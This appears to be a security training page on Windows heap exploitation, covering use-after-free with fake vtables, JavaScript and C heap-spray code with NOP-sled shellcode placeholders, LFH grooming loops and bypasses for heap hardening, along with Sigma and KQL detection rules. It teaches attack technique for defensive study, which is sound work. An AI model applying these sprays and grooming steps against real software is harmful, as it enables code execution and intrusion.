Heap Exploitation Techniques
Heap exploitation is more complex than stack exploitation because heap layout is non-deterministic at first glance — the relative positions of allocations depend on the sequence of prior allocations and frees. The key skill is heap grooming: manipulating the allocator's free-list state so that when the exploit fires, the desired allocation lands exactly where you need it. Windows Segment Heap (since Win10 1703) replaced the NT Heap for most processes, adding guard pages, encoded pointers, and per-size-class isolation that break classic techniques.
A C++ application parses user-supplied JSON. It allocates a JsonObject (containing a vtable pointer + data fields), processes it, and in an error path frees the object but retains a pointer and later calls a virtual function through it. You need to reallocate attacker-controlled data in the freed slot before the virtual call fires, replacing the vtable pointer with a pointer to a fake vtable pointing to your shellcode.
Windows Heap Internals
Use-After-Free (UAF) Exploitation
// Classic UAF exploit pattern:
// 1. Target application allocates Victim object (contains vtable pointer)
// 2. Application frees Victim but retains the pointer
// 3. Attacker triggers allocation of same size → heap returns same slot
// 4. Attacker fills new allocation with fake vtable pointer
// 5. Application calls virtual function via stale pointer → attacker code
// Target C++ code (simplified):
struct JsonObject {
void* vtable; // vtable pointer at offset 0
char data[56]; // 56 bytes of user data
}; // total: 64 bytes = one LFH bucket slot
JsonObject* obj = new JsonObject();
// ... error condition triggers:
delete obj;
// obj pointer is NOT cleared — retained in outer scope
// STEP 3: Attacker triggers reallocation
// Application must provide a path that allocates 64 bytes filled with attacker data.
// If the allocator returns the same freed slot:
char* fake = new char[64];
memcpy(fake, attacker_data, 64); // attacker_data[0..7] = fake vtable ptr
// STEP 5: Application calls obj->vtable->someMethod() → calls attacker's function
// Fake vtable construction (C):
void* fakeVtable[8];
fakeVtable[0] = (void*)attacker_function; // index 0 = first virtual method
// fake object: [ptr_to_fakeVtable][padding...]
PVOID fakeObj[8] = {(PVOID)fakeVtable, 0, 0, 0, 0, 0, 0, 0};
Heap Spray
// Heap spray: allocate large amounts of memory filled with NOP sled + shellcode.
// Goal: make target code "land" in shellcode regardless of ASLR entropy.
// Classical approach: fill memory with 0x0c0c0c0c (NOP-like sequence).
// If RIP/EIP ends up at any 0x0c0c0c0c address (likely if enough memory sprayed),
// the 4-byte value is also: ADD BYTE [ESP+0Ch], CL — a NOP-equivalent chain
// that eventually reaches the shellcode.
//
// Modern: heap spray targets JavaScript engines (JIT spray), or provides
// a predictable address for a ROP pivot.
// JavaScript heap spray (browser exploit context):
function heapSpray() {
var chunkSize = 0x1000;
var chunks = [];
var shellcode = unescape("%u9090%u9090..."); // NOP sled + shellcode
// Pad to chunkSize
while (shellcode.length < chunkSize) shellcode += shellcode;
shellcode = shellcode.substring(0, chunkSize / 2);
// Allocate 200MB → fills 0x0c000000 range
for (var i = 0; i < 0x2000; i++) {
chunks.push(shellcode.slice(0));
}
// Trigger UAF / type confusion → EIP lands at 0x0c0c0c0c
}
// C heap spray (service/application exploit):
void HeapSpray(BYTE* sc, DWORD scLen) {
for (int i = 0; i < 0x1000; i++) {
BYTE* chunk = (BYTE*)HeapAlloc(GetProcessHeap(), 0, 0x10000);
if (!chunk) break;
// Fill: NOP sled + shellcode
memset(chunk, 0x90, 0x10000 - scLen);
memcpy(chunk + 0x10000 - scLen, sc, scLen);
}
}
Heap Grooming
// Heap grooming: manipulate allocator state so next allocation of target size
// lands at a predictable location (usually adjacent to or in place of a specific object).
//
// Goal: ensure freed Victim slot is at the top of the free-list when attacker allocation fires.
//
// Technique for LFH bucket X (size class = size of Victim):
// 1. Drain free-list: allocate 16 objects of size X → free-list empty
// 2. Create "hole": allocate 1 more object of size X (Object A) → sits at front
// 3. Free Object A → Object A now at top of free-list for size X
// 4. Trigger vulnerability → Victim freed (goes to free-list, behind A)
// 5. Trigger attacker-controlled allocation of size X → returns Object A slot
// (not Victim yet — allocator returns front of free-list)
// 6. Re-groom: need Victim at front. Allocate to exhaust front slots,
// then free Victim last → Victim now at front.
// 7. Attacker allocation → lands in Victim slot.
//
// Practical grooming with typed allocations in C++:
std::vector<Obj*> spray;
// Step 1: fill LFH bucket for sizeof(Obj) = 64
for (int i = 0; i < 32; i++) spray.push_back(new Obj());
// Step 2: free every other → creates alternating pattern
for (int i = 0; i < 32; i += 2) { delete spray[i]; spray[i] = nullptr; }
// Step 3: trigger UAF (application frees Victim)
TriggerVuln();
// Step 4: fill holes with attacker-controlled data (same size = 64 bytes)
for (int i = 0; i < 32; i += 2)
spray[i] = (Obj*)new char[sizeof(Obj)]; // fills previously-freed slots
Segment Heap and LFH Hardening
| Hardening feature | What it prevents | Current bypass |
|---|---|---|
| Encoded FreeList pointers (XOR heap_key) | Unlink attacks that corrupt fwd/bk pointers | Leak heap_key first (info-disclosure primitive) |
| Guard pages between segments | Overflow from one segment into adjacent data | Must target within same segment |
| LFH cookie in block header | Block metadata corruption | Leak or brute-force 1-byte cookie (limited) |
| Allocation randomization in LFH | Deterministic slot layout | Groom to exhaust randomized slots; restrict prediction |
| Safe Unlinking | Write-4 via free-list unlinking | Corruption must avoid triggering check; use UAF instead |
Detection Engineering
title: Heap Corruption Detected by HeapEnableTerminationOnCorruption
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
ExceptionCode: '0xc0000374' # STATUS_HEAP_CORRUPTION
condition: selection
level: critical
tags: [attack.initial_access, T1203]
title: Application Crash Repeat — Potential Heap Fuzz/Exploit
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
AppName|endswith: '.exe'
timeframe: 10m
condition: selection | count() by AppName > 3
level: medium
-- MDE KQL: heap spray detection — rapid large memory allocations
DeviceEvents
| where ActionType == "ExploitGuardExploitDetected"
| extend d = parse_json(AdditionalFields)
| where d.Technique in ("HeapSpray","CodeExecution","CallerCheck")
| project Timestamp, DeviceName, InitiatingProcessFileName, d.Technique
-- MDE KQL: STATUS_HEAP_CORRUPTION crash (access violation + ntdll heap check)
DeviceEvents
| where ActionType == "AntivirusDetection"
or ActionType == "BehaviorPrevented"
| where AdditionalFields has "HeapCorruption"
or AdditionalFields has "UseAfterFree"
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields
Q&A
Why does the Windows Low Fragmentation Heap (LFH) make UAF exploitation harder, and what is the key grooming primitive that allows an attacker to overcome LFH randomization?
The Low Fragmentation Heap uses randomized placement within each size-class bucket to frustrate deterministic heap layout. When an object is freed, it returns to the LFH free-list for its size class; when the next same-size allocation is made, Windows randomly selects from available free slots rather than always returning the most recently freed chunk. This means that simply freeing the Victim and immediately allocating attacker-controlled data of the same size does not reliably land in the freed slot — the LFH might return a different slot from the same bucket, missing the Victim entirely.
The key grooming primitive that overcomes LFH randomization is free-list exhaustion followed by controlled refill. The LFH bucket for a given size class holds a finite number of available free slots. If the attacker can: (1) exhaust all free slots in the target size class by performing enough allocations that no free slots remain, and (2) then trigger the Victim free — at this point the freed Victim chunk is the only available slot in its bucket. Any subsequent allocation of the same size has only one place to go: the Victim's slot. The LFH's randomization is defeated not by predicting which slot is chosen, but by ensuring there is only one slot available to choose.
The practical challenge is step 1: how many allocations exhaust the bucket? LFH buckets have varying capacities (typically 32–128 slots per subsegment). The attacker must perform enough same-size allocations to fill all available slots without the application also deallocating in ways that replenish the free-list. In browser exploitation, this is done with JavaScript arrays or DOM element creation loops. In native application exploitation, it requires finding multiple code paths in the target that allocate objects of the target size class — either by direct control of allocation sizes or by triggering the application's existing allocation patterns through API calls.